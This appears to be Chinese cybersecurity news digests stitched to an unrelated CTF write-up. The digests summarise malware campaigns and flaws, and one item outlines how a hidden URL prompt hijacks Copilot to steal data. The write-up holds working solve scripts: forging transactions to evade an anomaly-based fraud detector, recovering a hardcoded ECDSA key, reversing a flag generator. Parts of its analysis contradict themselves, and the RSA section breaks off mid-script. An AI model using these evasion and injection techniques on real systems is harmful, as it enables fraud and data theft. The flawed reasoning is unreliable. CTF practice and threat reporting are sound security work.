https://securityaffairs.com/187037/cyber-crime/gootloader-uses-malformed-zip-files-to-bypass-security-controls.html GootLoader恶意软件通过拼接数百个ZIP文件生成畸形压缩包,以此绕过安全检测,作为初始访问工具为勒索软件团伙提供入口,占近年绕过检测恶意软件的11%。该恶意软件隶属2014年活跃至今的GootKit家族,由Mandiant追踪的UNC2565组织操控,采用访问即服务模式,可分发多款勒索软件及木马。2025年11月重现后,其已关联Vanilla Tempes
2、攻击者通过伪造杀毒软件安装包分发窃密载荷
https://securityonline.info/fake-malwarebytes-campaign-exploits-dll-sideloading-to-drop-infostealers/ 研究人员揭露一起伪装成Malwarebytes杀毒软件的攻击活动,该活动于2026年1月11日至15日活跃,攻击者通过伪造安装包分发窃密载荷。攻击借助恶意ZIP压缩包传播,文件名遵循特定格式。攻击者未直接使用恶意可执行文件,而是采用DLL劫持技术,将合法可执行文件与恶意CoreMessaging.dll捆绑,诱使系统加载恶意模块。恶意DLL含特殊元数据,压缩包中的文本文件还关联到多款软件的虚
3、StealC窃密木马控制面板遭研究人员劫持
https://www.cyberark.com/resources/threat-research-blog/uno-reverse-card-stealing-cookies-from-cookie-stealers 2023年起在暗网推广的StealC窃密木马,凭借规避检测及强效窃密能力走红,2025年4月推出2.0版本,新增Telegram机器人实时告警等功能,但其管理面板源码随后泄露。CyberArk研究人员借此发现面板存在XSS漏洞,利用该漏洞收集攻击者设备指纹、监控会话并窃取面板会话Cookie,为避免攻击者快速修复漏洞,未披露漏洞细节。研究聚焦名为“YouTubeTA”的攻击
4、黑客劫持伊朗国家电视台,播放反政权抗议信息
https://securityaffairs.com/187055/hacktivism/hacktivists-hijacked-iran-state-tv-to-broadcast-anti-regime-messages-and-reza-pahlavis-protest-appeal.html 反政权黑客入侵伊朗Badr卫星系统,劫持国家电视台播放流亡王储巴列维的抗议呼吁,持续10分钟。视频号召民众示威并争取军方支持,同时展示国际声援。伊朗网络随后再次受限。
5、微软联合多国瓦解RedVDS网络犯罪平台
https://www.bleepingcomputer.com/news/security/microsoft-seizes-servers-disrupts-massive-redvds-cybercrime-platform/ 微软宣布联合欧洲刑警组织、德国等多国机构,通过跨国行动瓦解大型网络犯罪虚拟桌面服务RedVDS,冻结其基础设施并关停交易平台。该平台自2019年起以犯罪即服务模式运营,月费低至24美元,向多个黑客团伙提供可操控虚拟Windows服务器,关联2025年3月以来美国境内至少4000万美元损失。其虚拟机均克隆自同一镜像,留下独特指纹便于追踪,服务器遍布多国以规避地域防
6、攻击者利用Visual Studio Code部署多阶段恶意软件
https://www.freebuf.com/articles/development/467238.html 攻击者正在将 Visual Studio Code 转变为攻击平台,利用其丰富的扩展生态系统将多阶段恶意软件植入开发者工作站。最新被发现的 Evelyn Stealer 攻击活动隐藏在恶意扩展中,通过多个精心设计的步骤部署隐蔽的信息窃取工具。
7、谷歌Fast Pair协议重大缺陷导致耳机可被劫持
https://www.freebuf.com/articles/endpoint/467249.html 您的高端蓝牙耳机可能正在监听比音乐更私密的内容。比利时鲁汶大学计算机安全与工业密码学研究小组最新报告披露,谷歌Fast Pair标准存在重大安全缺陷,导致数亿台旗舰音频设备面临劫持和跟踪风险。
8、Cloudflare 0Day漏洞可绕过防护直接访问任意主机服务器
https://www.freebuf.com/articles/web/467232.html Cloudflare Web应用防火墙(WAF)存在一个高危0Day漏洞,攻击者可借此绕过安全控制措施,通过证书验证路径直接访问受保护的主机服务器。FearsOff安全研究人员发现,针对_/.well-known/acme-challenge/目录的请求能够直达主机服务器,即使客户配置的WAF规则已明确拦截所有其他流量。
9、历时数十年的漏洞与新堆损坏问题,Linux系统关键glibc漏洞曝光
https://securityonline.info/decades-old-flaw-new-heap-corruption-critical-glibc-bugs-revealed/ GNU C库披露两个高危漏洞:CVE-2026-0861(8.4分)可导致堆损坏,影响glibc 2.30-2.42;CVE-2026-0915存在数十年,可能泄露堆栈信息。利用门槛较高,建议及时修补。
10、全球恶意广告劫持DNS漏洞,日均欺诈百万用户
https://securityonline.info/sitting-ducks-and-scammy-notifications-inside-a-global-malvertising-operation/ Infoblox揭露利用"坐以待毙"漏洞的全球欺诈推送网络,通过劫持废弃域名收集5700万条日志,显示低效但广泛的欺诈广告运营,主要针对南亚用户。研究警示DNS管理漏洞助长黑产,呼吁加强域名清理责任。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2026年01月19日
1、黑客采取多阶段攻击部署Remcos远控木马
https://securityonline.info/shadowreactor-malware-builds-remcos-rat-via-text-files/ 研究人员发现新型复杂恶意软件框架SHADOW#REACTOR,其以多阶段攻击部署臭名昭著的Remcos RAT,采用无文件技术几乎不在受害者硬盘留下痕迹,成功绕过企业防御。该框架核心规避手段为使用“纯文本中间件”,通过混淆VBS脚本启动器调用PowerShell下载器,获取含有效载荷碎片的普通文本文件,而非易被检测的恶意二进制文件。碎片在内存中重组编码后,经.NET Reactor保护组件解码,最终借助MSBuild.exe等
2、韩国教元集团遭勒索软件攻击可能泄露客户数据
https://securityaffairs.com/186964/data-breach/a-ransomware-attack-disrupted-operations-at-south-korean-conglomerate-kyowon.html 韩国大型综合企业教元集团(Kyowon)确认遭遇勒索软件攻击,导致业务运营中断,客户数据疑似泄露。该集团业务涵盖教育、出版、媒体、科技等多个领域,旗下多家核心子公司均受影响。攻击于2026年1月10日早间被发现,教元集团立即启动应急响应隔离受影响服务器,并向韩国互联网与安全局(KISA)及相关部门报备,联合外部网络安全专家排查攻击原因与损
3、黑客利用Modular DS漏洞获取管理员访问权限
https://www.bleepingcomputer.com/news/security/hackers-exploit-modular-ds-wordpress-plugin-flaw-for-admin-access/ 黑客正活跃利用WordPress插件Modular DS的最高危漏洞(CVE-2026-23550),远程绕过身份验证并获取目标网站管理员权限。该漏洞影响2.5.1及以下版本,这款插件可通过单一界面管理多个WordPress站点,拥有超4万次安装量,功能涵盖远程监控、用户管理、服务器信息访问等。Patchstack研究人员发现,攻击于2026年1月13日凌晨2时(UT
4、法国电信企业因安全防护不足致2400万用户数据泄露
https://www.theregister.com/2026/01/14/france_fines_free_free_mobile/ 法国数据保护监管机构CNIL对 Iliad集团旗下两家电信公司Free(固网业务)与Free Mobile(移动业务)处以总计4200万欧元(约合4890万美元)罚款,起因是2024年10月的数据泄露事件违反GDPR规定,波及超2400万用户,含IBAN等财务信息。攻击始于2024年9月28日,攻击者通过VPN入侵Free网络,借助Free Mobile的MOBO用户管理工具窃取数据,10月6日开始泄露数据,两家公司共2463万余份合约信息受影响。企业1
5、黑客利用PayPal合法发票系统实施钓鱼攻击
https://hackread.com/paypal-scam-verified-invoices-fake-support-numbers/ 一种新型钓鱼诈骗正利用PayPal合法发票系统实施攻击,凭借邮件蓝色认证标记(BIMI标识)绕过安全过滤,连技术熟手也可能受骗。攻击者先在PayPal创建虚假商家账户,借助平台“收款请求”或“发票”功能发送邮件,因由PayPal官方发送,可通过SPF、DKIM、DMARC全项认证,成功获得收件箱蓝色对勾,甚至绕过Google Workspace安全过滤。诈骗陷阱暗藏在发票“客户备注”栏,而非恶意链接,会伪造扣款信息并附上虚假客服电话诱导回拨。攻击者
6、Reprompt攻击可绕过防护窃取Microsoft Copilot数据
https://www.malwarebytes.com/blog/news/2026/01/reprompt-attack-lets-attackers-steal-data-from-microsoft-copilot 研究人员发现Reprompt攻击方法,可绕过Microsoft Copilot内置安全机制窃取数据,该漏洞已在2026年1月周二补丁更新中修复,目前无在野利用证据。该攻击滥用Copilot对URL参数的处理逻辑,在q参数中隐藏恶意提示,用户点击钓鱼链接后,Copilot会自动执行提示,劫持已认证的个人会话。其区别于同类注入攻击的优势是,无需用户输入提示、安装插件或启用连接
7、研究人员阻断550余台C2服务器瓦解AISURU及Kimwolf僵尸网络
https://securityaffairs.com/186918/cyber-crime/lumen-disrupts-aisuru-and-kimwolf-botnet-by-blocking-over-550-c2-servers.html Lumen公司黑莲花实验室通过阻断550余台命令与控制(C2)服务器,成功瓦解了用于DDoS攻击和代理滥用的AISURU及Kimwolf僵尸网络。AISURU属TurboMirai家族,提供付费DDoS服务,攻击速率超1.5Tb/秒,还具备凭证填充、AI爬虫等多类非法功能,其攻击曾致宽带服务中断及路由器故障。Kimwolf是关联AISURU的新型
8、deVixor安卓木马针对银行和加密货币用户发起攻击
https://securityonline.info/spy-steal-lock-devixor-android-trojan-hits-banking-crypto-users/ 研究人员发布分析报告,揭露deVixor安卓银行木马的恶性攻击行为,该木马自2025年10月起持续针对伊朗用户发起攻击,已从简单短信窃取工具进化为全功能远程控制木马(RAT)。攻击者通过伪装成正规汽车业务的钓鱼网站,诱骗用户下载恶意APK文件。木马安装后会申请多项高危权限,窃取短信中的验证码、银行卡号等金融信息,还借助WebView注入技术劫持银行会话、通过键盘记录和截图等功能监控设备,更搭载远程触发勒索模块
9、GhostPoster浏览器恶意软件累计安装量达84万次
https://hackread.com/ghostposter-browser-malware-840000-installs/ 研究人员揭露一起持续5年的恶意软件攻击事件,GhostPoster浏览器恶意软件通过多浏览器扩展传播,凭借隐蔽技术长期未被发现,累计安装量超84万次。该恶意软件最初现身于微软Edge浏览器,后扩散至Chrome和Firefox,通过将恶意载荷隐藏在PNG图片中解码执行,规避静态分析与人工审核。Koi Security披露相关发现后,LayerX追踪到17款采用相同架构的关联扩展,部分扩展在用户设备中潜伏近5年。此外,还有一高级变种通过更多规避技术传播,虽仅382
10、WhisperPair高危漏洞可劫持蓝牙音频设备
https://www.bleepingcomputer.com/news/security/critical-whisperpair-flaw-lets-hackers-track-eavesdrop-via-bluetooth-audio-devices/ 研究人员发现谷歌Fast Pair协议存在高危漏洞WhisperPair(CVE-2025-36911),可让黑客劫持蓝牙音频设备,实施追踪与窃听,影响数亿台支持该功能的耳机、音箱等设备,跨iOS与安卓系统。漏洞因厂商未严格执行协议规范,设备非配对模式下仍响应配对请求,黑客可通过蓝牙设备在14米内秒级强制配对,无需用户操作。配对后可控
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2026年01月16日
1、Apache Struts 2曝高危漏洞攻击者可窃取敏感数据
https://www.freebuf.com/articles/web/466539.html 已在 Apache Struts 2 中发现一个关键的 XML 外部实体(XXE)注入漏洞,该漏洞可能使数百万应用程序面临数据窃取和服务器被入侵的风险。 该漏洞被追踪为 CVE-2025-68493,影响该广泛使用的框架的多个版本,需要开发者和系统管理员立即采取行动。
2、欧洲铁路运营商Eurail确认发生数据泄露
https://www.theregister.com/2026/01/14/eurail_breach/ 欧洲铁路运营商Eurail(欧盟居民称Interrail)确认发生数据泄露,客户信息遭窃取。该公司于2026年1月10日首次公布此事,1月13日起向受影响客户推送通知邮件,暂未披露受影响人数。泄露数据含姓名、出生日期、联系方式、护照号码等核心身份信息,直接购票客户无护照可视化副本泄露,但通过欧盟DiscoverEU项目获取车票的用户,还可能泄露身份证复印件、银行账户参考号及健康数据。欧盟委员会指出目前无数据滥用或公开披露证据,Eurail已加固系统、修复漏洞并重置凭证,且已按GDPR要
3、俄APT组织利用PLUGGYAPE恶意软件攻击乌国防部队
https://www.freebuf.com/news/466535.html 乌克兰计算机应急响应小组(CERT-UA)近日披露,乌克兰国防部队遭受新型网络攻击,攻击者使用PLUGGYAPE恶意软件。政府专家以中等可信度将该攻击归因于俄罗斯关联组织Void Blizzard(又名Laundry Bear、UAC-0190),该组织自2024年起持续活跃。
4、Ruckus IoT控制器因硬编码密钥泄露面临系统被接管
https://www.anquanke.com/post/id/314315 一对高危安全漏洞在 Ruckus vRIoT IoT Controller 中被披露,该设备是企业 IoT 设备管理的核心中枢。两个漏洞的 CVSS 评分均为满分 10.0,意味着它们不仅易于利用,而且可能导致系统被完全接管。
5、研华设备存在 SQL 注入可导致 IoT设备被完全攻陷
https://www.anquanke.com/post/id/314324 新加坡网络安全局(CSA)已就研华(Advantech)IoT 产品线中一个极具破坏性的漏洞发布高优先级警报。该漏洞编号为 CVE-2025-52694,CVSS 评分高达 10.0(满分),表明其属于需要管理员立即处理的严重威胁。
6、Moxa交换机存在OpenSSH远程代码执行漏洞
https://www.anquanke.com/post/id/314327 Moxa 的工业以太网交换机中被发现存在一个严重安全漏洞,可能威胁工业控制系统(OT)网络的完整性。该漏洞编号为 CVE-2023-38408,CVSS 评分高达 9.8(高危),意味着需要立即修复。
7、zlib高危漏洞引发全球性缓冲区溢出风险
https://www.anquanke.com/post/id/314276 一款被 “几乎所有计算机硬件和操作系统” 采用的无损数据压缩引擎 zlib,被曝出一个高危漏洞。该漏洞编号为CVE-2026-22184,属于全球性缓冲区溢出漏洞,其通用漏洞评分系统(CVSS)分值高达9.3,对所有依赖该函数库中untgz工具的系统构成重大威胁。
8、印度以应对网络威胁为由要求审查苹果、三星等智能手机源代码
https://www.anquanke.com/post/id/314272 在国家安全诉求与企业保密权的拉锯战日益升级之际,印度最新提出的获取智能手机源代码的要求,在科技巨头间引发轩然大波。这项于近日公布的提案,强制要求苹果、三星等企业向政府实验室提交专有源代码以供审查,表面上是为了在这个全球最大的数字市场之一打击日益猖獗的网络威胁。但长期以来坚守用户隐私立场的苹果公司,此次却坚决抵制,这一表态或将重塑全球企业在新兴经济体应对监管压力的策略。
9、波兰全国可再生能源设施遭遇大规模网络攻击
https://www.secrss.com/articles/87065 波兰政府日前表示,成功挫败了近年来针对该国能源基础设施最严重的一次网络攻击,从而避免了一场大规模停电。据波兰能源部长Miłosz Motyka称,此次未遂破坏发生在去年12月末,黑客针对全国大范围内的可再生能源设施,包括太阳能电站和风力发电机,与电力配电运营商之间的通信发动了攻击。
10、《交通运输数据安全管理办法》公开征求意见
https://www.secrss.com/articles/87033 为贯彻落实《中华人民共和国数据安全法》《中华人民共和国个人信息保护法》《网络数据安全管理条例》等法律法规要求,规范交通运输数据处理活动,保障交通运输数据安全,交通运输部起草了《交通运输数据安全管理办法(征求意见稿)》,现面向社会公开征求意见。公众可通过以下途径和方式提出意见:
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
记2025长城杯线上赛部分题目
0.前言
小比赛随便打,国赛教我做人....
1.AI安全
1.1The Silent Heist
题目内容:
目标银行部署了一套基于 Isolation Forest (孤立森林) 的反欺诈系统。该系统不依赖传统的黑名单,而是通过机器学习严密监控交易的 20 个统计学维度。系统学习了正常用户的行为模式(包括资金流向、设备指纹的协方差关系等),一旦发现提交的数据分布偏离了“正常模型”,就会立即触发警报。
我们成功截取了一份包含 1000 条正常交易记录的流量日志 (public_ledger.csv)。请你利用统计学方法分析这份数据,逆向推导其多维特征分布规律,并伪造一批新的交易记录
那基本上就能看出本题模拟了一个典型的对抗性机器学习场景。目标是骗过一个已经上线的异常检测系统
目标系统是基于孤立森林的实时风控引擎,输入数据是20 维浮点数特征
金额目标:
孤立森林不同于传统的分类算法(如 SVM 或神经网络),它属于无监督学习
核心逻辑就是算法随机选择特征并随机选择切分点,构建二叉树
且异常点往往具有“少”且“异”的特点,在空间中,它们远离高密度区域
路径长度异常点和正常点也是不一样的,
异常点:只需要很少次数的随机切分就能被孤立出来,也就是处于树的浅层,路径短
正常点:位于数据簇的中心,需要密集的切分才能被隔绝,也就是说处于树的深层,路径长
判定公式:模型通过样本在多棵树中的平均路径长度计算异常评分。路径越长,评分越低,数据越正常
既然孤立森林难以孤立处于数据中心的点,那么我们的策略就是:制造大量极其平庸的数据
比如说,我们通过对截获的 1000 条日志进行统计:
计算每一列的平均值,计算每一列的标准差
只要生成的数据点无限趋近于各维度的均值 ,它们就会落在孤立森林最难切分的深处,逃过检测
由题目给的附件已知 feat_0的均值 μ0≈353
那么计算所需条数:2,000,000/353≈5,6662,000,000/353≈5,666条
也就是说,我们只要生成 6,000 条数据。这不仅能稳过 2M 金额线,还能通过大量的微小数据分摊风险,避免单笔大额交易触发阈值告警
但是如果 6000 条数据完全一样,会被去重算法拦截
所以应该在均值 μ的基础上,注入一个尺度极小的高斯白噪声
公式:
这里 ϵ(扰动系数)设为 0.01左右,这保证了:
每行数据在二进制层面都是唯一的
在统计学层面,数据分布依然极度向中心靠拢
所以exp.py
import socket
import numpy as np
import pandas as pd
import io
# 1. 题目提供的部分日志数据(基于你提供的片段进行统计建模)
# 在实际环境中,如果能下载完整csv,分析结果会更精确。
def generate_payload():
# 统计特征 (均值 mu 和 标准差 sigma)
# 基于样本计算的近似值
means = np.array([
353.45, 27.56, 93.67, 82.78, 45.12, 4.23, 13.45, 51.67, 11.23, 30.56,
39.12, 84.78, 10.34, 82.12, 73.67, 18.89, 30.56, 41.89, 13.12, 27.56
])
stds = np.array([
25.0, 2.5, 3.0, 3.0, 2.0, 2.5, 2.5, 2.0, 2.5, 3.0,
3.0, 3.0, 2.5, 3.0, 3.0, 3.0, 3.0, 3.0, 3.0, 2.5
])
# 设定生成 6000 条记录以确保总金额 > 2,000,000
num_samples = 6000
print(f"[*] 正在生成 {num_samples} 条伪造交易记录...")
# 生成数据:均值 + 极小的随机扰动 (0.01倍标准差)
# 这样可以确保数据唯一(躲避去重检测)且极度接近中心(躲避异常检测)
generated_data = []
for _ in range(num_samples):
noise = np.random.normal(0, 0.01, size=20) * stds
row = means + noise
generated_data.append(row)
# 转换为 CSV 格式
df = pd.DataFrame(generated_data)
df.columns = [f'feat_{i}' for i in range(20)]
csv_buffer = io.StringIO()
df.to_csv(csv_buffer, index=False, float_format='%.6f')
payload = csv_buffer.getvalue()
return payload
def pwn_bank():
host = '182.92.11.65'
port = 30799
payload = generate_payload()
try:
# 2. 建立连接
print(f"[*] 正在连接到 {host}:{port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# 接收服务器欢迎语
# s.recv(1024)
# 3. 发送数据
print("[*] 正在传输数据流并注入金额...")
s.sendall(payload.encode())
# 4. 发送结束标志
s.sendall(b"EOF\n")
# 5. 接收返回结果(Flag通常在这里)
print("[*] 等待银行系统响应...")
response = b""
while True:
data = s.recv(4096)
if not data:
break
response += data
# 如果收到 flag 格式,提前停止打印(假设格式为 flag{...})
if b"flag" in response.lower():
break
print("\n[+] 服务器响应结果:")
print(response.decode(errors='ignore'))
s.close()
except Exception as e:
print(f"[-] 错误: {e}")
if __name__ == "__main__":
pwn_bank()
2.Cry
2.1 ECDSA
题目给了三个东西
task.py:生成密钥和签名的程序
signatures.txt:使用弱私钥生成的 60 个签名样本
public.pem:与私钥对应的公钥
看它task.py的代码就知道这个私钥生成有问题
from ecdsa import SigningKey, NIST521p
from hashlib import sha512
from Crypto.Util.number import long_to_bytes
# 计算固定字符串的SHA512哈希
digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
# 获取曲线阶数
curve_order = NIST521p.order
# 对曲线阶数取模得到私钥
priv_int = digest_int % curve_order
# 转换为字节格式
priv_bytes = long_to_bytes(priv_int, 66)
# 创建私钥对象
sk = SigningKey.from_string(priv_bytes, curve=NIST521p)
首先它私钥种子固定不变
私钥的生成依赖于固定字符串 "Welcome to this challenge!",这个字符串在代码中硬编码,任何人都可以访问源代码并计算出完全相同的私钥
接着算法也有问题,仅使用 SHA512 哈希运算就生成私钥,哈希函数是确定性的,给定相同输入必然产生相同输出
所以,种子字符串是公开的,计算过程是确定性的,无需任何额外信息即可恢复私钥
from ecdsa import SigningKey, NIST521p, VerifyingKey
from hashlib import sha512
from Crypto.Util.number import long_to_bytes, bytes_to_long
import binascii
def recover_private_key():
"""
通过计算固定字符串的SHA512哈希值恢复私钥
"""
message = b"Welcome to this challenge!"
digest = sha512(message).digest()
digest_int = int.from_bytes(digest, "big")
curve_order = NIST521p.order
priv_int = digest_int % curve_order
priv_bytes = long_to_bytes(priv_int, 66)
sk = SigningKey.from_string(priv_bytes, curve=NIST521p)
return sk
def generate_nonce(index):
"""
生成指定索引的nonce值
"""
seed = sha512(b"bias" + bytes([index])).digest()
k = int.from_bytes(seed, "big")
return k
def load_public_key(pem_file="public.pem"):
"""
从PEM文件加载公钥
"""
with open(pem_file, "rb") as f:
pem_data = f.read()
vk = VerifyingKey.from_pem(pem_data)
return vk
def extract_rs_from_der(sig_bytes):
"""
从DER编码的签名中提取r和s值
"""
if len(sig_bytes) < 8:
return None, None
pos = 0
if sig_bytes[pos] != 0x30:
return None, None
pos += 1
length_bytes = sig_bytes[pos]
pos += 1
if sig_bytes[pos] != 0x02:
return None, None
pos += 1
r_length = sig_bytes[pos]
pos += 1
r_value = sig_bytes[pos:pos + r_length]
pos += r_length
if sig_bytes[pos] != 0x02:
return None, None
pos += 1
s_length = sig_bytes[pos]
pos += 1
s_value = sig_bytes[pos:pos + s_length]
r_int = bytes_to_long(r_value)
s_int = bytes_to_long(s_value)
return r_int, s_int
def verify_signature_ecdsa(vk, message, signature):
"""
使用公钥验证签名
"""
try:
return vk.verify(signature, message)
except:
return manual_verify(vk, message, signature)
def manual_verify(vk, message, signature):
"""
手动验证ECDSA签名
"""
try:
r, s = extract_rs_from_der(signature)
if r is None or s is None:
return False
msg_hash = sha512(message).digest()
msg_hash_int = bytes_to_long(msg_hash)
point = vk.pubkey.point
curve_order = NIST521p.order
# 计算 w = s^(-1) mod n
def modinv(a, m):
if a < 0:
a = a % m
for i in range(1, m):
if (a * i) % m == 1:
return i
return 1
w = modinv(s, curve_order)
u1 = (msg_hash_int * w) % curve_order
u2 = (r * w) % curve_order
G = NIST521p.generator
point1 = G * u1
point2 = point * u2
result_point = point1 + point2
return (result_point.x() % curve_order) == r
except:
return False
def sign_message_with_nonce(sk, message, nonce_index):
"""
使用指定索引的nonce签名消息
"""
k = generate_nonce(nonce_index)
signature = sk.sign(message, k=k)
return signature
def main():
print("=" * 70)
print("ECDSA 私钥恢复和签名工具")
print("=" * 70)
# 1. 恢复私钥
print("\n[1] 恢复私钥...")
sk = recover_private_key()
print(f"[✓] 私钥已恢复")
print(f" 私钥值: {sk.privkey.secret_multiplier}")
print(f" 私钥字节: {binascii.hexlify(sk.to_string()).decode()}")
# 2. 加载公钥
print("\n[2] 加载公钥...")
vk = load_public_key()
print("[✓] 公钥已加载")
# 3. 验证私钥正确性
print("\n[3] 验证私钥...")
# 使用一个已有的签名验证
with open("signatures.txt", "r") as f:
first_line = f.readline().strip()
msg_hex, sig_hex = first_line.split(":")
test_msg = bytes.fromhex(msg_hex)
test_sig = bytes.fromhex(sig_hex)
if verify_signature_ecdsa(vk, test_msg, test_sig):
print("[✓] 私钥验证成功!恢复的私钥与公钥匹配")
else:
print("[✗] 私钥验证失败")
return
# 4. 尝试签名获取flag
print("\n[4] 尝试生成签名...")
# 尝试使用不同的nonce索引
flag_messages = [
b"flag",
b"getflag",
b"submit flag",
b"give me the flag",
b"CTF{",
]
for msg in flag_messages:
print(f"\n 尝试签名消息: {msg}")
# 尝试使用不同的nonce索引 (0-59)
for i in range(60):
try:
sig = sign_message_with_nonce(sk, msg, i)
# 验证签名
if verify_signature_ecdsa(vk, msg, sig):
print(f"[✓] 成功!")
print(f" Nonce索引: {i}")
print(f" 签名: {binascii.hexlify(sig).decode()}")
# 保存签名到文件
with open("flag_signature.txt", "w") as f:
f.write(f"Message: {msg.decode()}\n")
f.write(f"Nonce Index: {i}\n")
f.write(f"Signature: {binascii.hexlify(sig).decode()}\n")
print(f"\n[+] 签名已保存到 flag_signature.txt")
# 5. 展示如何使用
print("\n" + "=" * 70)
print("解题步骤:")
print("=" * 70)
print(f"""
1. 私钥已成功恢复
私钥值: {sk.privkey.secret_multiplier}
2. 使用恢复的私钥,可以:
- 验证任何使用该密钥签名的消息
- 为新消息生成有效签名
- 在CTF服务器上提交签名获取flag
3. 生成的签名:
消息: {msg.decode()}
签名: {binascii.hexlify(sig).decode()}
4. 将此签名提交给题目服务器即可获取flag
""")
return
except Exception as e:
continue
print(f" [-] 使用所有nonce索引签名失败")
print("\n[!] 尝试其他方法...")
# 如果上面的方法失败,输出更多信息
print("\n[5] 输出私钥信息供手动使用...")
print(f"\n私钥值 (十进制):")
print(sk.privkey.secret_multiplier)
print(f"\n私钥值 (十六进制):")
print(binascii.hexlify(sk.to_string()).decode())
if __name__ == "__main__":
main()
2.2 Ezflag
先ida进行一个逆向找到main函数
只有当输入的密码完全等于 V3ryStr0ngp@ssw0rd 时,程序才会进入 else 分支生成 Flag
std::operator<<<std::char_traits<char>>(&_bss_start, "flag{");
v11 = 1LL; // 初始状态设为 1
程序先打印 flag{,v11 被初始化为 1
for ( i = 0; i <= 31; ++i ) {
v9 = f(v11); // 调用关键函数 f,基于当前状态 v11 计算出一个字符
std::operator<<<...>((unsigned int)v9); // 打印该字符
// 格式化控制:插入连字符
if ( i == 7 || i == 12 || i == 17 || i == 22 ) {
std::operator<<<...("-");
}
// 状态更新公式 (核心数学逻辑)
v11 *= 8LL;
v11 += i + 64;
// 延时处理
v8 = 1;
std::this_thread::sleep_for(...); // 每秒打印一个字符,增加仪式感
}
程序运行一个 for 循环,从 i = 0 到 31,总共生成 32 个字符
而我们也可以推导一下v11的状态
初始值:v11_0 = 1
第一次迭代后:v11_1 = 1 * 8 + (0 + 64) = 72
第二次迭代后:v11_2 = 72 * 8 + (1 + 64) = 649
第三次迭代后:v11_3 = 649 * 8 + (2 + 64) = 5256
通过数学归纳法,可以得出v11的通项公式:
v11_k = 8^k * 1 + Σ(i=0到k-1) (i + 64) * 8^(k-1-i)
归纳化简之后就是
v11_k = 8^k + Σ(j=0到k-1) (64 + j) * 8^(k-1-j)
其中j = k-1-i,这个公式展示了v11的指数级增长特性。随着k的增大,v11的值会变得极其庞大:
k = 8时:v11_8 ≈ 2.68 × 10^8
k = 16时:v11_16 ≈ 7.2 × 10^16
k = 32时:v11_32 ≈ 2.81 × 10^29
这种指数级增长意味着v11的范围从1变化到约2^97
f函数
__int64 f(unsigned __int64 n) {
v5 = 0; v4 = 1;
for (i = 0; i < n; ++i) {
v2 = v4;
v4 = (v5 + v4) & 0xF; // mod 16
v5 = v2; }
return K[v5];
}
这明显就是斐波那契数列取模运算
函数f的输入是v11 mod 16的值,记为n,函数f计算斐波那契数列的第n项F(n),然后对16取模,最后查表返回K[F(n) mod 16]
通过计算,前8个斐波那契数列值及其模16结果:
F(0) = 0 → 0 mod 16 = 0
F(1) = 1 → 1 mod 16 = 1
F(2) = 1 → 1 mod 16 = 1
F(3) = 2 → 2 mod 16 = 2
F(4) = 3 → 3 mod 16 = 3
F(5) = 5 → 5 mod 16 = 5
F(6) = 8 → 8 mod 16 = 8
F(7) = 13 → 13 mod 16 = 13
F(8) = 21 → 21 mod 16 = 5
对于n=9及更大的值,斐波那契数列的模16结果呈现周期性,周期为24 这是因为斐波那契数列模m的周期,在m=16时为24
将v11 mod 16的周期规律与f函数的映射结合,得到最终的字符序列:
根据14周期规律,v11 mod 16的序列为[8, 1, 2, 3, 4, 9, 6, 7, 8, 1, 2, 3, 4, 9, 6, 7, 8, 1, 2, 3, 4, 9, 6, 7, 8, 1, 2, 3, 4, 9, 6, 7]
将每个值输入f函数:
f(8) → K[5]
f(1) → K[1]
f(2) → K[1]
f(3) → K[2]
f(4) → K[3]
f(9) → K[2]
f(6) → K[8]
f(7) → K[13]
以此类推,应用完整的14周期规律
全局字符表 K = "012ab9c3478d56ef"
def get_period():
v5 = 0
v4 = 1
seq = [0]
# Pisano period for 16 is 24.
for _ in range(100):
v2 = v4
v4 = (v5 + v4) & 0xF
v5 = v2
seq.append(v5)
return 24, seq
def solve():
period, sequence = get_period()
K = "012ab9c3478d56ef"
v11 = 1
flag = ""
print("flag{", end="")
for i in range(32):
# f(v11) returns K[sequence[v11 % period]]
idx = sequence[v11 % period]
c = K[idx]
print(c, end="")
flag += c
if i in [7, 12, 17, 22]:
print("-", end="")
flag += "-"
v11 = v11 * 8 + i + 64
v11 &= 0xFFFFFFFFFFFFFFFF # Mask to 64 bits to simulate overflow
print("}")
if __name__ == "__main__":
solve()
2.3 RSA_NestingDoll
本题的get_smooth_prime 函数是漏洞存在的地方
在 get_smooth_prime(1024, 20, p1) 中,生成素数 p的逻辑本质上是
整理一下就会发现p−1=p1×K
其中 K是由一堆 20 位的小素数构成的
普通 RSA:p−1 是随机的,包含大的随机质因子,且这些因子完全不知道
本题 RSA:p−1虽然也包含一个巨大的质因子 p1,但这个 p1 恰好是已知量 n1 的一个因子
所以:n1就是打开 p−1的钥匙,因为 n1=p1⋅q1⋅r1⋅s1,所以 n1 必然是 p1 的倍数。既然 p−1包含 p1,那么 p−1
的绝大部分因子都已经躺在 n1里面了
import math
from Crypto.Util.number import *
from tqdm import tqdm
# --- 题目数据 ---
n1 = 1614122982258299994179552843405360402413083437674338041754384815451056794142628450397484350850529363285894467690477771916721126422501787954487976646190542176491114511531369852914811855648156966242794312990624666939228546596200976041539827786123540114447372842192430018281851945186366854327996477
n = 48483112410827593934136681050619399453155005569585325329811553810162933764484884834147941943803223233900323690607186400536605018509695571248482424922819757722324835364036607874736009008444636127503202678124685470007489671197648769478385687840324731231248719724327233051886134698147035339414978508
c = 65798492122994245493393340344772900630665760771032686430122645514374329842420317323148525410637004248279792166765670015590432977238382073645885576513679324331667121286942639795468478486172137509851256963396108381531291812303277470011006908126224292198586479632896942352782113928131036998197274386
e = 65537
# 你之前找到的那个因子,我们可以直接用,减少工作量
